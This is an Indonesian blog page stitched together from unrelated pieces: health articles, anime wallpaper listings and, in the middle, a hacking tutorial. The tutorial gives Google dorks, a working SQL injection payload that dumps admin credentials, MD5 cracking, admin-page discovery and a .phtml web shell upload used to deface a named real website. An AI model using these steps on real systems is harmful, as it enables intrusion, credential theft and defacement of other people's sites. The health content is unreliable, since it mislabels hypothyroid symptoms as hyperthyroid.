• Download Anz Komik Apk

    Anz Komik adalah aplikasi baca komik gratis dengan lebih dari 1000 judul komik mulai dari Manga, Manhwa dan Manhua yang sudah dirilis dalam versi bahasa Indonesia.

  • Tujuan Pembentukan LBB

    Liga Bangsa-Bangsa beranggotakan 28 negara sekutu dan 14 negara netral. Tujuan pembentukan LBB pada waktu itu adalah untuk:

  • Daftar lagu soundtrack piala dunia (1990-2018)dan piala eropa (2000-2020)

    1.Gianna Nannini dan Edoardo Bennato-Un'estate (World Cup 1990) 1.1 We Are the Champions - Queen (World Cup 1994) 2.Ricky Martin - La Copa De La Vida (World Cup 1998)...

Selasa, 01 Januari 2019

Sering Merasa Kedinginan Tanda Diabetes?

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

kedinginan-tidur-doktersehat
Photo Source: Flickr/moonpir

DokterSehat.Com– Musim hujan seperti sekarang ini memang bisa membuat suhu udara menjadi lebih dingin. Kita pun terbiasa menggunakan pakaian yang lebih tebal atau meminum minuman hangat layaknya teh atau kopi. Hanya saja, bisa jadi kita tetap merasakan sensasi kedinginan atau bahkan menggigil meskipun suhu udara sebenarnya tidak begitu dingin. Apakah hal ini adalah tanda dari adanya masalah pada kesehatan tubuh kita?

Sering kedinginan terkait dengan diabetes

Pakar kesehatan menyebut diabetes sebagai penyakit yang bisa menyebabkan kadar gula darah terus berada dalam kondisi yang tinggi. Masalahnya adalah, kondisi ini akhirnya mempengaruhi saraf dan ginjal atau dalam dunia medis disebut sebagai nefropati diabetic. Salah satu gejala dari kondisi nefropati diabetic ini adalah sensasi kedinginan sepanjang waktu. Selain itu, gejala-gejala lain yang akan dirasakan adalah rasa gatal yang berlebihan, sesak napas, hilangnya selera makan, sering merasa mual hingga muntah-muntah, dan disorientasi atau kedinginan.

Penyakit lain yang bisa menyebabkan gejala kedinginan

Selain diabetes, beberapa penyakit lain ternyata juga bisa menyebabkan gejala kedinginan pada tubuh kita meski suhu udara tidak begitu dingin.

Berikut adalah beberapa penyakit yang patut untuk kita waspadai.

  1. Anemia

Anemia seringkali dianggap sebagai kondisi kurang darah. Padahal, yang terjadi sebenarnya adalah kekurangan sel darah merah. Hal ini disebabkan oleh tubuh yang tidak mampu memproduksi sel darah merah dengan cukup. Padahal, sel darah merah ini memiliki peran besar dalam mendistribusikan oksigen ke berbagai penjuru tubuh.

Terdapat beberapa jenis anemia yang bisa menyerang kita, hanya saja, kebanyakan dari jenis anemia ini menyebabkan gejala berupa sensasi tubuh yang kedinginan. Selain itu, gejala-gejala lain yang bisa kita rasakan adalah tubuh yang kelelahan atau lemas, tubuh yang terlihat pucat, dan ketidakteraturan denyut jantung.

  1. Hipertiroid

Hipertiroid adalah kondisi yang mempengaruhi kelenjar tiroid. Sebagai informasi, tiroid adalah kelenjar dengan bentuk mirip seperti kupu-kupu yang memiliki peran penting dalam mengendalikan sistem metabolisme tubuh. Lokasi dari kelenjar ini adalah di pangkal laher. Jika sampai kelenjar ini bermasalah, maka produksinya akan berlebihan atau tubuh kita mengalami kesulitan untuk memproses banyaknya hormon tiroid sehingga menyebabkan kondisi hipertiroidisme.

Gejala dari hipertiroidisme ini bisa berupa tubuh yang merasa kedinginan sepanjang waktu, rambut yang semakin menipis, kulit kering, tubuh kelelahan, sering mengalami sembelit, kenaikan berat badan yang sulit dikendalikan, dan gangguan menstruasi pada wanita.

  1. Gangguan pada pembuluh darah

Jika kita sering mengalami sensasi kedinginan pada tangan atau kaki, ada baiknya kita mewaspadai kemungkinan adanya gangguan pada pembuluh darah yang akhirnya membuat sirkulasi darah pada bagian-bagian tubuh tersebut terhambat. Tanpa adanya asupan darah yang cukup, maka tangan dan kaki akan mengalami sensasi kedinginan.

Gejala dari gangguan pada pembuluh darah ini juga biasanya disertai dengan jari pada tangan atau kaki yang seperti memutih atau bahkan kebiruan, seringnya mengalami kesemutan, mati rasa, atau bahkan denyutan pada tangan dan kaki, serta kulit yang terus mengeluarkan keringat tanpa sebab.

Beberapa jenis gangguan pembuluh darah yang bisa menyebabkan berbagai gejala tersebut adalah masalah pada sistem pembekuan darah, arteriokslerosis atau kondisi yang membuat pembuluh darah menyempit, hingga penyakit Raynaud yang menyebabkan kejang penyempitan pembuluh darah yang menuju jari tangan atau kaki.

  1. Anoreksia

Anoreksia adalah gangguan makan yang bisa menyebabkan gejala kedinginan, berat badan yang jauh lebih rendah dari normal, badan yang sangat kurus, dan gangguan menstruasi pada wanita.

Jika kita mulai sering merasakan kedinginan tanpa sebab, ada baiknya segera memeriksakan kondisi kesehatan ke dokter untuk mengetahui apa penyebabnya dan mengatasinya dengan baik.



Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

7 Cara Memutihkan Ketiak Secara Alami dan Paling Ampuh!

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

cara-memutihkan-ketiak-doktersehat

DokterSehat.Com – Ketiak hitam bisa membuat kita tidak percaya diri. Meskipun tidak semua orang melihatnya, tapi memiliki ketiak yang cerah tentunya menjadi dambaan banyak orang. Ada banyak sekali cara memutihkan ketika, salah satu yang paling mudah adalah dengan menggunakan cara alami. Yuk, simak cara memutihkan ketiak secara alami berikut ini!

Penyebab Ketiak Hitam

Sebelum mengetahui cara memutihkan ketiak hitam, sebaiknya ketahui lebih dulu berbagai penyebab ketika menghitam. Jika melakukan cara memutihkan ketiak tanpa mengetahui penyebabnya, maka kemungkinan ketiak dapat kembali menghitam dengan cepat. Berikut adalah beberapa penyebab ketiak hitam yang paling umum:

1. Iritasi

Penyebab ketiak hitam yang pertama adalah iritasi pada kulit ketiak. Penyebab iritasi sendiri bisa berbeda-beda mulai dari penggunaan produk yang kurang tepat, pakaian yang ketat, hingga kebiasaan menggaruk ketiak. Jika ingin terhindar dari iritasi maka sebaiknya perhatikan kembali pakaian dan produk yang Anda gunakan.

Hal lain yang paling sering menyebabkan iritasi kulit ketiak tanpa kita sadari adalah ketika mencukur bulu ketiak dan waxing. Hal ini menimbulkan perlukaan kecil dan iritasi pada kulit. Mencukur bulu ketiak dan waxing berulang-ulang dapat membuat kulit menjadi lebih hitam.

2. Penumpukan sel kulit mati

Penyebab ketiak hitam selanjutnya adalah akibat penumpukan sel kulit mati. Menumpuknya sel kulit mati di bagian kulit mana saja memang dapat membuat kulit terlihat lebih gelap. Maka dari itu, eksfoliasi kulit sangat penting dilakukan secara rutin untuk mencegah penumpukan sel kulit mati.

3. Pengaruh hormon

Ketiak menghitam juga bisa disebabkan oleh pengaruh hormon. Contohnya seperti yang terjadi pada ibu hamil. Peningkatan hormon estrogen juga dapat memicu produksi melanosit sehingga hiperpigmentasi kulit terjadi.

4. Kondisi kesehatan tertentu

Selain ketiga penyebab di atas, ketiak hitam juga bisa disebabkan oleh kondisi keehatan tertentu. Kondisi seperti hiperpigmentasi akibat merokok tembakau, infeksi bakteri, atau kelainan kulit lainya yang memicu hiperpigmentasi dapat menyebabkan ketiak menghitam.

5. Obesitas

Penyebab ketiak hitam lain yang juga sering terjadi adalah obesitas atau berat badan berlebih. Daerah lipatan-lipatan bisa menjadi lebih gelap pada orang obesitas karena adanya gesekan antar kulit terus menerus dalam jangka waktu yang lama.

Cara Memutihkan Ketiak Alami

Sebanarnya ada banyak produk pemutih ketiak yang sudah ada dipasaran, tapi jika ada cara alami yang lebih praktis dan tentunya ekonomis, tentunya tidak ada salahnya untuk dicoba, bukan? Berikut adalah beberapa cara memutihkan ketiak yang bisa Anda coba di rumah!

1. Lemon atau jeruk nipis

Lemon adalah salah satu agen pencerah kulit alami yang sudah tidak diragukan lagi khasiatnya. Kandungan vitamin C yang tinggi dalam lemon dan jeruk nipis memiliki fungsi mencerahkan. Selain itu, lemon juga dapat membantu mengangkat sel kulit mati. Kemampuannya ini lah yang membuat lemon menjadi salah satu pilhan cara memutihkan ketiak yang banyak dipilih.

Lemon memang ampuh untuk mencerahkan, namun perlu diketahui bahwa lemon kurang cocok untuk digunakan oleh pemilik kulit kering dan sensitit. Hati-hati menggunakan lemon agar tidak menyebabkan iritasi pada kulit.

2. Kentang

Cara memutihkan ketiak secara alami yang kedua adalah menggunakan kentang.  Sama halnya seperti lemon, kentang juga bisa membantu mengangkat sel kulit mati pada ketiak. Cara memutihkan ketiak hitam dengan kentang sangat mudah, Anda bisa mengoleskan irisan kenting ke ketiak selama beberapa menit. Cara lainnya adalah menjadikan parutan kentang sebagai scrub.

3. Mentimun

Cara memutihkan ketiak yang ketiga adalah menggunakan mentimun. Buah yang satu ini dikenal dengan manfaatnya untuk mencerahkan kulit mulai dari bagian wajah, selangkangan, hingga ketiak. Selain dapat mencerahkan, mengaplikasikan mentimun juga dapat membuat kulit menjadi lebih segar.

Cara memutihkan ketiak dengan timun sama seperti menggunakan kentang, yaitu bisa diiris saja atau dapat juga dihancurkan sebelum diaplikasikan ke ketiak. Gunakan masker mentimun untuk ketiak hitam ini selama kurang lebih 10 menit sebelum dibilas dengan air bersih.

4. Kunyit

Anda juga bisa menggunakan kunyit sebagai salah satu cara memutihkan ketiak. Selain memiliki efek memutihkan, kunyit juga memiliki sifat antibakteri sehingga dapat membantu meredakan bau tak sedap pada ketiak. Agar lebih mudah, gunakan ekstrak kunyit dalam bentuk bubuk untuk dijadikan sebagai masker.

Campurkan bubuk kunyit dengan perasan lemon secukupnya, lalu balurkan di seluruh ketiak. Diamkan kurang selama 15-30 menit atau hingga kering, lalu bisa dengan air bersih. Sama seperti cara memutihkan ketiak dengan lemon, cara ini kemungkinan dapat menyebabkan kulit kering.

5. Gula dan minyak kelapa

Gula adalah salah satu bahan alami untuk eksfoliasi kulit yang paling sering digunakan. Sedangkan minyak kelapa memiliki kemampuan untuk melembapkan kulit. Campuran kedua bahan alami ini bisa menjadi pilihan yang tepat untuk membantu membantu memutihkan ketiak.

Campurkan satu sendok gula dengan minyak kelapa secukupnya, lalu gosokkan secara lembut pada kedua ketiak selama beberapa menit, tidak perlu terlalu lama karena dapat menyababkan iritasi. Setalah selesai scrubbing, diamkan scrub selama beberapa menit sebalum membilasnya dengan air bersih.

Selain menggunakan minyak kelapa, Anda juga bisa menggunakan minyak zaitun yang memiliki manfaat yang tidak jauh berbeda.

6. Tawas

Tawas adalah zat yang digunakan dalam proses penjernihan air. Perlu diketahui bahwa tawas juga sudah digunakan sejak lama untuk mengatasi masalah ketiak seperti bau badan dan juga ketiak hitam. Tawas bisa digunakan sebagai deodorant untuk mencegah produksi keringat berlebih pada ketiak.

Cara menggunakannya adalah dengan cara mengoleskan tawas pada ketiak. Sebelumnya, rendam tawas sebentar di air hangat. Sebelum menggunakan, pastikan tawas yang dipilih memiliki permukaan yang halus, karena jika permukaan tawas kasar maka dapar memicu gesekan dan irirasi kulit.

7. Minyak tea tree

Cara mengatasi ketiak yang terakhir adalah dengan menggunakan tea tree. Minyak esensial yang satu ini memiliki banyak sekali manfaat, ternyata salah satunya adalah dapat memutihkan ketiak. Campurkan beberapa tetes tea tree dengan air, lalu semprotkan ke bagian ketiak. Lakukan setiap setelah mandi atau membersihkan diri.

Itu dia berbagai cara alami yang dipercaya ampuh untuk memutihkan ketiak. Hati-hati jika Anda memiliki tipe kulit yang sensitif. Apabila mengalami iritasi seperti rasa gatal, perih, dan kemerahan segera konsultasikan ke dokter.

 

Informasi kesehatan ini telah ditinjau oleh dr. Patricia Aulia



Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Daftar Lengkap Penyebab Kemandulan Pria dan Wanita

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

fertilitas-pada-pria-dan-wanita-doktersehat

DokterSehat.Com – Kemandulan adalah salah satu masalah terbesar pada pasangan yang menginginkan keturunan. Akibat kemandulan ini, proses pembuahan tidak akan berjalan dengan lancar. Bahkan ada beberapa pasangan harus menunggu bertahun-tahun baru berhasil mendapatkan keturunan.

Masalah fertilitas memang sangat sensitif di kalangan pasangan. Bahkan, ada juga pasangan yang terus bertengkar karena masalah ini. Nah, agar kita lebih paham tentang fertilitas serta kemandulan yang terjadi pada pria dan wanita, simak ulasan si bawah ini.

Fertilitas dan kemandulan pada pria

Masalah fertilitas dan kemandulan pada pria jarang sekali diperhatikan. Padahal pria juga menyumbang separuh kasus gagalnya kehamilan. Berikut beberapa masalah fertilitas yang terjadi pada pria.

  1. Gangguan pada sperma

Sperma adalah komponen paling penting pada kesuburan pria. Kalau sperma mengalami penurunan kualitas, kemungkinan besar tidak akan terjadi pembuahan. Oh ya, kualitas sperma yang harus ada pada pria terdiri dari jumlah, pergerakan, dan bentuknya.

Sperma yang baik jumlahnya ada sekitar 15 juta sel per mililiter air mani. Kalau jumlahnya kurang dari ini Anda sudah dikatakan mandul. Selanjutnya, gangguan terjadi dalam hal bentuk. Sperma yang sehat memiliki bentuk runcing di depan dan di bagian belakang ada ekornya. Terakhir, pergerakan atau motilitas dari sperma juga menentukan kesuburan dari pria.

  1. Gangguan testis

Testis merupakan organ terpenting dari pria khususnya yang berhubungan dengan proses kehamilan dan juga ereksi. Kalau testis mengalami gangguan seperti varikokel atau inflamasi, kemungkinan besar akan terjadi gangguan pada ereksi. Pria akan susah melakukan seks dengan pasangannya termasuk melakukan pembuahan.

Gangguan testis juga menyebabkan penurunan atau gangguan produksi sperma. Gangguan ini terjadi kalau ada penyakit menular seksual yang ikut terbawa hingga testis. Selanjutnya suhu udara di area selangkangan yang naik juga menyebabkan kesuburan yang cukup signifikan.

  1. Gangguan ejakulasi

Gangguan ejakulasi menyebabkan sperma tidak bisa masuk ke dalam vagina lalu bergerak ke tuba falopi. Beberapa pria mengalami ejakulasi terbalik atau ejakulasi tertunda sehingga sperma tidak keluar di saat yang tepat.

Dua kondisi di atas muncul karena beberapa hal dan salah satunya adalah diabetes. Sperma yang dikeluarkan saat ejakulasi justru berbalik hingga ke kandung kemih. Selain itu ejakulasi tertunda adalah keluarnya air mani dengan jeda agak lama meski tidak tercampur dengan urine.

  1. Obesitas

Pada pria yang ingin segera mendapatkan keturunan, obesitas adalah masalah yang besar. Sebisa mungkin Anda harus mengatasi masalah ini agar saat bercinta, sperma bisa disalurkan dengan mudah dan tanpa gangguan apa-apa.

Turunkan kadar lemak di tubuh perlahan-lahan. Dengan menurunkan kadar lemak, sperma yang dihasilkan akan menjadi sangat berkualitas.

  1. Usia

Pria juga memiliki batas usia untuk subur dan mampu membuahi pasangan dengan baik. Seiring dengan berjalannya waktu khususnya saat berusia di atas 30 tahun, level testosteron akan turun. Kondisi ini membuat jumlah sperma yang dihasilkan juga ikut anjlok.

Fertilitas dan kemandulan pada wanita

Wanita juga harus mengetahui apa saja penyebab kemandulan pada dirinya. Berikut beberapa hal yang harus diperhatikan secara saksama.

  1. Gangguan ovulasi

Ovulasi sangat penting karena pada saat proses ini terjadi tubuh akan menghasilkan sel telur atau ovum. Kalau ovum yang dihasilkan tidak sehat atau terjadi cacat akan sangat besar. Oleh karena itu menjaga ovarium agar bisa melakukan ovulasi dengan sempurna harus dilakukan.

Gangguan ovarium yang menurunkan kualitas ovulasi biasanya muncul akibat kelainan hormon seperti PCOS. Gangguan ini menyebab sel telur tidak bisa dihasilkan dengan sempurna. Selain itu, gangguan lain seperti kista ovarium juga bisa menyebabkan masalah ini lebih parah.

  1. Gangguan di rahim dan tuba falopi

Gangguan di rahim dan tuba falopi juga menyebabkan masalah kehamilan semakin kompleks. Rahim bisa mengalami gangguan dalam bentuk endometriosis atau mioma. Dua hal ini menyebabkan masalah serius hingga berpotensi menyebabkan kematian pada wanita karena memicu rasa sakit dan perdarahan yang cukup kuat.

Masalah di tuba falopi bisa muncul kalau area itu tidak lagi cocok untuk lokasi sel telur. Area ini juga sering mengalami endometriosis akibat perpanjangan dari area rahim.

  1. Usia

Usia dari wanita juga menentukan kesuburan yang mereka miliki. Semakin tua usia wanita seperti di atas 34 tahun kemungkinan memiliki anak akan rendah karena rahim tidak lagi kuat dan sel telur yang dihasilkan tidak sebaik saat masih muda.

Selanjutnya hamil pada usia 35 tahun ke atas juga berisiko dan kemungkinan terjadi gangguan pada ibu dan janin akan besar.

  1. Kebiasaan atau gaya hidup

Kebiasaan atau gaya hidup dari wanita juga menentukan kesuburan yang dimiliki. Kalau wanita malas berolahraga, kemungkinan besar obesitas akan terjadi.

Selanjutnya kalau wanita merokok, kesuburan juga semakin anjlok dan menyebabkan sel telur yang dihasilkan tidak sehat. Hentikan aktivitas merokok secepat mungkin mulai dari sekarang.

  1. Penyakit seksual

Penyakit seksual yang menimpa wanita seperti klamidia dan gonore juga menyebabkan masalah serius pada kesuburan. Bakteri atau virus yang menyebabkan masalah ini bisa naik hingga ke rahim dan tuba falopi dan menyebabkan masalah kesuburan yang cukup besar.

Kerusakan pada organ dalam wanita bisa terjadi dan menyebabkan pembuahan susah terjadi. Kalau pun terjadi pembuahan, ada kemungkinan implantasi tidak berjalan dengan lancar.

Masalah fertilitas dan kemandulan tidak hanya berhubungan dengan wanita saja. Pria bisa mengalami kemandulan sama halnya dengan wanita. Oleh karena itu pasangan harus saling terbuka satu dengan yang lain. Dengan begitu tidak ada yang namanya saling menyalahkan satu dengan yang lain.



Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Tutorial Deface dengan cara Sql Lokomedia Terbaru 2019

Oh iya ane mau share cara deface lg nih , tapi dengan cara yg berbeda :v , kali ini ane share cara deface dengan cara SQL LOKOMEDIA :v
Oh iya sebelom ane ksih tau tutornya , ane mau nanya neh :v , Klean smua malem jumat ini ngapain aja >:( , jangan jangan ........... ahh sudahlah lupakan :v ... Yuk disimak caranya :V

Bahan Bahan :

#Dork : inurl:/statis-1-profil.html
             inurl:/statis-2-profil.html
             inurl:/statis-3-profil.html [ Kembangin lagi dorknya biar dpet web yg vuln, oh iya ane ksih tau nih klo mau kembangin dork ini tinggal ubah aja ANGKA nya ]

#Bagi yg blom pnya shell format .phtml bisa di download disini ~> https://uploadfiles.io/72upn
  password shellnya : akugans

#Exploit :

'/*!50000union*/+/*!50000select*/+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+

#Admin finder online/admin finder tools jg boleh :v

#oh ea , saran ane sih sambil dengerin musik Marshmello :v


Caranya :

1. seperti biasanya kita buka google trus masukin dork yg diatas , trus pilih salah satu websitenya tapi cari yg ada halaman statisnya :v, lihat gambar :v



2. nah ane udh dapet targetnya nih, kan di url target tertulis
http://sewakursimejamurah.com/statis-1-profil.html
ada statis-1-profil.html kan? nih liat gambar



3. nah pas sesudah angka sisipkan exploitnya maka akan jadi seperti ini
 http://sewakursimejamurah.com/statis-1'/*!50000union*/+/*!50000select*/+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+-profil.html
[ sesudah di sisipkan exploitnya skrg tekan enter, dan liat di tab atas tertulis [ ,admin,06c43bd.....] nah klo di atas tab muncul begitu brrti username sma password udh ketebak :v, untuk melihat username dan passwordnya sekarang klo untuk di Pc/komputer/Laptop pencet Ctrl+U mungkin klo di hp bisa tambahin doang [ view-source: ] di awal url linknya :v, liat gambar :v




4. kan udh ente ctrl+u tuh , nah sekarang liat disitu tertulis admin,09....... nah itu dia username sma passwordnya, OH IYA ITU BUKAN PASSWORD ASLINYA , TAPI KITA HARUS HASH PASSWORDNYA DLU BIAR BISA DAPAT PASSWORD ASLINYA



5. ok kita kan udh tau nih ya kan username sama passwordnya yg msih dalam bentuk Md5 sekarang kita Copy passwordnya itu yg di samping kanan tulisan admin, nah copy angkanya saatnya kita hash online passwordnya di https://hashkiller.co.uk/md5-decrypter.aspx  ,,, nah dan jreng jreng ane udh berhasil nih gan dapet password aslinya :v,Untuk liat password aslinya nnti akan muncul di sebelah kanan, nih liat gambar



6. nah kan udh dapet password aslinya tuh, sekarang kita cari dimana admin loginnya, bisa pke adminfinder online, bisa juga pke admin finder tools :v, bisa juga pke cara manual nih ane ajarin , caranya

*misalkan web ini : http://sewakursimejamurah.com
*Kita tambahkan /robots.txt di akhir urlnya maka akan jadi gini http://sewakursimejamurah.com/robots.txt
nah pas kita tambahkan /robots.txt maka akan muncul tulisan
User-agent: *
Disallow: /adminw36
[ Nah kita liat deh tuh yg tulisan disallow nya, karna itu disallownya /adminw36 berarti halaman admin login ada di http://sewakursimejamurah.com/adminw36 ] , paham kan? liat gambar :v



7. sekarang kita coba login dengan username sama password yg udh kita hash tadi , halaman admin login ada disini http://sewakursimejamurah.com/adminw36 klo udh berhasil msk maka tampilan nya akan seperti ini



8. Daaaaan Boom!!! kita udh berhasil masuk sebagai admin di web sewakursimejamurah.com wkwkwk :v, oh iya cara tanem shellnya gomna? iya kalem ane jelasin :v
OK , dimana tempat buat tanem shellnya? lihat tulisan [ Media Trus Pilih Download ] kan? nah disitu kita tanem shellnya , lihat gambar :v



9. Nah itu udh ada file nya :v, itu juga shell ane :v , udh ane tanem :v jadi ane gausah tanem lg ea :v , skrg kita klik tulisan [ Tambah Download ] , Nah trus pilih deh shell lu , tampilannya kya gini :v



10. INGET BRO BACA BAIK BAIK : upload shellnya harus format .phtml
      jadi yg blom punya udh ane sediain tuh diatas link buat download shellnya :v


11. ok klo shell udh berhasil ke upload sekarang kita cari akses shellnya/ bisa dibilang dimana shell lu berada caranya? ok gini caranya kita cukup tambahkan /files/namashelllu  . jadi kaya gini http://sewakursimejamurah.com/files/shell.phtml [ Nah yg Shell.phtml itu lu ubah aja sesuaikan dengan nama shell yg udh lu upload tadi gan :v ... nah dan jreng jreng ane udh ketemu nih akses shellnya lihat gambar :v



hehe terserah deh mau diapain :v , Tebas index jg gapapa :v
TAPI INGAT klo mau tebas index , diusahakan di backup indexnya kasihan adminnya bikin script indexnya lag :'(
Kalo mau jadi bajingan jadi sekalian jangan tanggung tanggung , tapi kalo mau jadi bajingan tapi ragu-ragu mending jangan

h3h3 udh itu aja ya :v, ok cukup sekian tutor dari ane, ane akan share share cara deface yg lainnya , see you next time guys :v

Oh iya klo ada link atau gambar yg ga muncul atau ada yg ga ngerti bisa langsung kontak ane

Cool Anime Wallpapers HD Wallpaper Cave

Cool Anime Wallpapers HD  Wallpaper Cave

This Image is rated 7 by BING for keyword cool anime wallpapers, You will find it result at Bing.com.

Wallpaper Deep Information FOR Cool Anime Wallpapers HD Wallpaper Cave's Wallpaper
TITLE:Cool Anime Wallpapers HD Wallpaper Cave
IMAGE URL:http://wallpapercave.com/wp/DkHhw9X.jpg
THUMBNAIL:https://tse4.mm.bing.net/th?id=OIP.jQiE7FPNgf5WGA4zrmFx3AHaEo&pid=Api&P=0&w=300&h=300
IMAGE SIZE:220.2KB Bs
IMAGE WIDTH:1920
IMAGE HEIGHT:1200
DOCUMENT ID:OIP.jQiE7FPNgf5WGA4zrmFx3AHaEo
MEDIA ID:resitem-6
SOURCE DOMAIN:wallpapercave.com
SOURCE URL:http://wallpapercave.com/cool-anime-wallpapers-hd
THUMBNAIL WIDTH:474
THUMBNAIL HEIGHT:296

Related Images with Cool Anime Wallpapers HD Wallpaper Cave

Cool Anime HD Wallpapers PixelsTalk.Net

Cool Anime HD Wallpapers  PixelsTalk.Net

Cool Anime HD Wallpapers PixelsTalk.Net

Cool Anime HD Wallpapers  PixelsTalk.Net

Cool Anime Wallpapers Pictures Hd Wallpapers

Cool Anime Wallpapers  Pictures  Hd Wallpapers

Cool Anime Wallpapers Pictures Hd Wallpapers

Cool Anime Wallpapers  Pictures  Hd Wallpapers

Cool Anime HD Wallpapers PixelsTalk.Net

Cool Anime HD Wallpapers  PixelsTalk.Net

This Image is ranked 19 by Bing.com for KEYWORD cool anime wallpapers, You will find this result at BING.

IMAGE Deep Information FOR Cool Anime HD Wallpapers PixelsTalk.Net's IMAGE
TITLE:Cool Anime HD Wallpapers PixelsTalk.Net
IMAGE URL:http://www.pixelstalk.net/wp-content/uploads/2016/01/Beauty-Anime-HD-Wallpapers.jpg
THUMBNAIL:https://tse1.mm.bing.net/th?id=OIP.bAhXsEQOMyAz5V46d7AjQwHaEo&pid=Api&P=0&w=300&h=300
IMAGE SIZE:424.3KB Bs
IMAGE WIDTH:2560
IMAGE HEIGHT:1600
DOCUMENT ID:OIP.bAhXsEQOMyAz5V46d7AjQwHaEo
MEDIA ID:resitem-18
SOURCE DOMAIN:www.pixelstalk.net
SOURCE URL:http://www.pixelstalk.net/cool-anime-hd-wallpapers/
THUMBNAIL WIDTH:474
THUMBNAIL HEIGHT:296

Related Images with Cool Anime HD Wallpapers PixelsTalk.Net

Cool Anime Wallpapers HD ·①

Cool Anime Wallpapers HD ·①

Anime Wallpaper HD PixelsTalk.Net

Anime Wallpaper HD  PixelsTalk.Net

Cool Anime HD Wallpapers PixelsTalk.Net

Cool Anime HD Wallpapers  PixelsTalk.Net

60+ Cool Anime backgrounds ·① Download free cool full HD wallpapers for desktop, mobile, laptop

60+ Cool Anime backgrounds ·① Download free cool full HD wallpapers for desktop, mobile, laptop

HD Anime Angel Desktop Background HD Wallpapers

HD Anime Angel Desktop Background  HD Wallpapers

This Picture was rated 4 by Bing.com for keyword hd anime, You will find this result at BING.

IMAGE Deep Information FOR HD Anime Angel Desktop Background HD Wallpapers's IMAGE
TITLE:HD Anime Angel Desktop Background HD Wallpapers
IMAGE URL:https://www.highreshdwallpapers.com/wp-content/uploads/2014/01/HD-Anime-Angel-Desktop-Background.jpg
THUMBNAIL:https://tse3.mm.bing.net/th?id=OIP.syfjkQ05MkJXn-rTSw__dAHaEK&pid=Api&P=0&w=300&h=300
IMAGE SIZE:618.1KB Bs
IMAGE WIDTH:1920
IMAGE HEIGHT:1080
DOCUMENT ID:OIP.syfjkQ05MkJXn-rTSw__dAHaEK
MEDIA ID:resitem-3
SOURCE DOMAIN:www.highreshdwallpapers.com
SOURCE URL:https://www.highreshdwallpapers.com/hd-anime-angel-desktop-background/
THUMBNAIL WIDTH:474
THUMBNAIL HEIGHT:266

Related Images with HD Anime Angel Desktop Background HD Wallpapers

Cute Anime Wallpapers HD WallpaperSafari

Cute Anime Wallpapers HD  WallpaperSafari

anime wallpaper for iphone HD

anime wallpaper for iphone HD

best anime wallpaper HD

best anime wallpaper HD

Anime Wallpapers HD download free PixelsTalk.Net

Anime Wallpapers HD download free  PixelsTalk.Net

Makanan Terbaik untuk Menjaga Kesehatan Hati (Liver)

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

fungsi-dari-hati-doktersehat

DokterSehat.Com – Setiap organ yang ada pada tubuh manusia memiliki fungsi sendiri-sendiri. Ada yang berfungsi untuk menyaring udara masuk. Menghancurkan makanan lalu menyerap energi yang terkandung di dalamnya. Terakhir ada juga yang berfungsi untuk menyerap racun agar tubuh tidak mengalami gangguan.

Nah, organ yang memiliki fungsi untuk penyerapan racun itu adalah hati. Organ yang berbentuk separuh bulat ini berada di bawah perut sebelah kanan dan terdiri dari beberapa bagian yang tersambung satu dengan lainnya.

Fungsi organ hati

Hati memiliki banyak sekali fungsi untuk tubuh. Berikut beberapa fungsi yang akan didapatkan kalau organ ini sehat.

  • Menghancurkan dan mengubah substansi tubuh yang tidak lagi berguna. Misal sel darah merah yang sudah rusak. Hati akan menghancurkannya lalu mengubah ke bentuk lain bermanfaat untuk tubuh.
  • Melakukan ekstraksi energi. Tanpa hati yang sehat tubuh akan susah mendapatkan energi yang besar. Dengan energi tubuh bisa bekerja dengan maksimal dan Anda juga tidak akan mudah sekali mengalami kelelahan yang berlebihan.
  • Membuat racun yang masuk ke dalam tubuh agar tidak terlalu berbahaya kembali. Itulah kenapa kalau di dalam tubuh Anda banyak sekali menyerap racun, organ hati akan mudah sekali mengalami gangguan, bahkan rusak.
  • Menghilangkan racun dari pembuluh darah sehingga kemungkinan mengalir ke seluruh tubuh akan rendah. Sayangnya tidak semua racun bisa diatasi oleh hati dengan sempurna.
  • Menghancurkan lemak pada seseorang yang menjalankan protokol diet. Lemak yang telah dipecah lalu dikeluarkan lagi menjadi hati sehingga bisa dimanfaatkan oleh tubuh meski makanan yang masuk sedikit terbatas.
  • Menghancurkan protein yang masuk ke dalam tubuh. Selanjutnya tubuh akan menghasilkan amoniak yang beracun. Nah, agar tubuh tidak mengalami gangguan ginjal akan mengekstraknya menjadi urea dan dikeluarkan dari dalam tubuh bersama urine.

Gangguan pada organ hati

Karena hati lebih banyak berfungsi untuk mengatasi racun yang masuk ke tubuh, kerusakan organ ini akan berjalan lebih cepat. Berikut beberapa gangguan yang bisa memicu kerusakan organ hati.

  • Autoimun Hepatitis. Pada kondisi tertentu, hati akan diserang sendiri oleh sistem kekebalan tubuh. Dampaknya, organ ini akan rusak dan tidak bisa bekerja dengan maksimal untuk memecah lemak hingga menyaring racun.
  • Penyakit ini menyebabkan hati menjadi keras dan sel yang masih sehat jadi tergantikan. Kondisi ini menyebabkan fungsi organ anjlok terus-menerus dan peluang terjadi kematian akan besar. Sebisa mungkin untuk menghindari konsumsi alkohol berlebihan agar kondisi ini tidak terjadi.
  • Gangguan ini terjadi karena tubuh mengandung banyak sekali zat besi. Akibatnya kerusakan terjadi pada hati karena secara tidak langsung zat besi menjadi racun.
  • Berbagai jenis hepatitis mulai dari A, B, dan C menyebabkan peradangan pada hati. Kalau sudah parah organ ini akan mengalami perdarahan dan rawan sekali terjadi kematian.

Makanan terbaik untuk menjaga kesehatan organ hati

Sebenarnya organ hati ini mudah melakukan regenerasi. Bagian yang terpotong saat operasi bisa kembali seperti sedia kala setelah beberapa minggu menyembuhkan diri. Meski demikian, hati juga butuh asupan makanan terbaik seperti daftar di bawah ini.

  1. Bawang putih

